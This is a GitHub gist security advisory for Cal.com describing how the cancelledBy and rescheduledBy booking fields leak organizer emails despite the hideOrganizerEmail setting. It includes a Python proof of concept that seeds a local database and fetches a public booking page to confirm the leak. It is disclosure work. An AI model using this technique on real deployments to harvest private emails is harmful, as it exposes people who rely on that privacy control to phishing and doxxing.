Skip to content

Instantly share code, notes, and snippets.

@YLChen-007
Created April 6, 2026 04:30
Show Gist options
  • Select an option

  • Save YLChen-007/b59c44d1550c4b0f373ca4eb1c150994 to your computer and use it in GitHub Desktop.

Select an option

Save YLChen-007/b59c44d1550c4b0f373ca4eb1c150994 to your computer and use it in GitHub Desktop.
Information Leak of Organizer Email via Booking Responses (Bypass of `hideOrganizerEmail`)

Advisory Details

Title: Information Leak of Organizer Email via Booking Responses (Bypass of hideOrganizerEmail)

Description: The Cal.com platform provides an explicit privacy control feature for Event Types called hideOrganizerEmail. When enabled, the application removes the primary email address of the organizer from outgoing invitations and responses, replacing it with a user alias/name to ensure anonymity. A vulnerability was identified where the application improperly validates this flag when processing booking state changes, specifically order cancellations and rescheduling actions. The properties cancelledBy and rescheduledBy within the bookingInfo JSON payload transmit the raw email address of the user executing the action back to unauthenticated users, entirely bypassing the intended privacy boundary.

Summary

An Information Exposure vulnerability allows unauthenticated attackers to retrieve the private email addresses of event organizers who have explicitly enabled the hideOrganizerEmail protection feature. Overriding this security control happens when an organizer cancels or reschedules an existing booking. The cancelledBy and rescheduledBy tracking properties fail to sanitize the email identity before the data is serialized into the Server-Side Rendered (SSR) public page payload and TRPC API responses.

Details

In apps/web/modules/bookings/views/bookings-single-view.getServerSideProps.tsx and the viewer.bookings.get TRPC handler, the backend extracts the full bookingInfo object from the database to present to the user via the http://localhost:3000/booking/[uid] page.

While the developers accurately identified related privacy leaks in the past and successfully sanitized the previousBooking.rescheduledBy property (inside sanitizedPreviousBooking), they did not apply Data Loss Prevention (DLP) sanitization symmetrically to the top-level bookingInfo entity itself.

Consequently, when an organizer logs in and clicks "Cancel" on a booking, the system natively assigns their email account to bookingInfo.cancelledBy. The SSR configuration sends this unmasked property identically as it appears in the database structure down to the frontend React components via JSON pre-load execution context.

PoC

The following Python script illustrates how an attacker (who is the attendee of the meeting, possessing only the public [uid]) can extract the underlying organizer's email after the organizer invokes the cancellation routine on their side.

Note: The script prepares the prerequisite state autonomously to minimize deployment friction.

  1. Save the following code as poc_exploit.py:
import psycopg2
import requests
import uuid
from datetime import datetime, timedelta

# Default local development docker connection URI
DB_URL = "postgresql://unicorn_user:magical_password@localhost:5450/calendso"

def setup_data():
    conn = psycopg2.connect(DB_URL)
    conn.autocommit = True
    cursor = conn.cursor()
    
    # Identify or create victim organizer
    cursor.execute("SELECT id FROM users WHERE email = 'secret_organizer_leak@example.com'")
    user_row = cursor.fetchone()
    if user_row:
        user_id = user_row[0]
    else:
        user_uuid = str(uuid.uuid4())
        cursor.execute("""
            INSERT INTO users (email, "username", "name", "identityProvider", uuid)
            VALUES ('secret_organizer_leak@example.com', 'secret_host', 'Secret Host', 'CAL', %s)
            RETURNING id
        """, (user_uuid,))
        user_id = cursor.fetchone()[0]

    # Organizer enables privacy settings (hideOrganizerEmail = true)
    cursor.execute("SELECT id FROM \"EventType\" WHERE slug = 'secret-event-leak' AND \"userId\" = %s", (user_id,))
    et_row = cursor.fetchone()
    if et_row:
        event_type_id = et_row[0]
        cursor.execute("UPDATE \"EventType\" SET \"hideOrganizerEmail\" = true WHERE id = %s", (event_type_id,))
    else:
        cursor.execute("""
            INSERT INTO \"EventType\" ("title", "slug", "length", "userId", "hideOrganizerEmail")
            VALUES ('Top Secret Event', 'secret-event-leak', 30, %s, true)
            RETURNING id
        """, (user_id,))
        event_type_id = cursor.fetchone()[0]

    # Organizer cancels the meeting
    cancel_uid = 'leak-booking-cancelled-test123'
    cursor.execute("SELECT id FROM \"Booking\" WHERE uid = %s", (cancel_uid,))
    if cursor.fetchone():
        cursor.execute("""
            UPDATE "Booking" 
            SET "status" = 'cancelled', "cancelledBy" = 'secret_organizer_leak@example.com' 
            WHERE uid = %s
        """, (cancel_uid,))
    else:
        cursor.execute("""
            INSERT INTO "Booking" (uid, "title", "startTime", "endTime", "userId", "eventTypeId", "status", "userPrimaryEmail", "cancelledBy")
            VALUES (%s, 'Secret Booking - Cancelled', %s, %s, %s, %s, 'cancelled', 'secret_organizer_leak@example.com', 'secret_organizer_leak@example.com')
        """, (cancel_uid, datetime.utcnow(), datetime.utcnow() + timedelta(minutes=30), user_id, event_type_id))
        
    cursor.close()
    conn.close()
    return cancel_uid

def exploit(cancel_uid):
    # Simulated attacker accesses the public link via unauthenticated HTTP request
    url = f"http://localhost:3000/booking/{cancel_uid}"
    try:
        res = requests.get(url, timeout=30)
        if res.status_code == 200:
            if "secret_organizer_leak@example.com" in res.text:
                print(f"[!] EXPLOITED: Found targeted privacy string 'secret_organizer_leak@example.com' in public payload stream via cancelledBy field!")
                return True
        return False
    except Exception as e:
        print(f"Request Error: {e}")
        return False

if __name__ == "__main__":
    uid = setup_data()
    exploit(uid)
  1. Assuming the local Next.js environment is actively compiling on port 3000, simply run the file: python3 poc_exploit.py

Log of Evidence

$ python3 poc_exploit.py
[!] EXPLOITED: Found targeted privacy string 'secret_organizer_leak@example.com' in public payload stream via cancelledBy field!

Impact

This vulnerability represents an explicit circumvention of heavily relied-upon privacy functionality. Users including high-profile consultants, medical professionals, or private advisors trust Cal.com to broker scheduling logistics completely detached from their inner identities. Any trivial meeting interaction triggers this leak natively logic, exposing core PII and paving pathways for Spear Phishing, Extortion, Doxxing, and Account Enumeration.

Affected products

  • Ecosystem: Node.js / React
  • Package name: cal.com
  • Affected versions: <= v4.9.4 (Unpatched up to current deployment)
  • Patched versions:

Severity

  • Severity: Medium
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Weaknesses

  • CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Occurrences

Permalink Description
apps/web/modules/bookings/views/bookings-single-view.getServerSideProps.tsx#L237-L244 The SSR generation context omits sanitizing bookingInfo.cancelledBy, returning raw fields directly into the rendering state.
packages/trpc/server/routers/viewer/bookings/get.handler.ts#L800-L1150 The backend lookup query extracts unmasked cancellation identities, funneling raw PII data immediately to inbound remote clients bypassing validation policies entirely.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment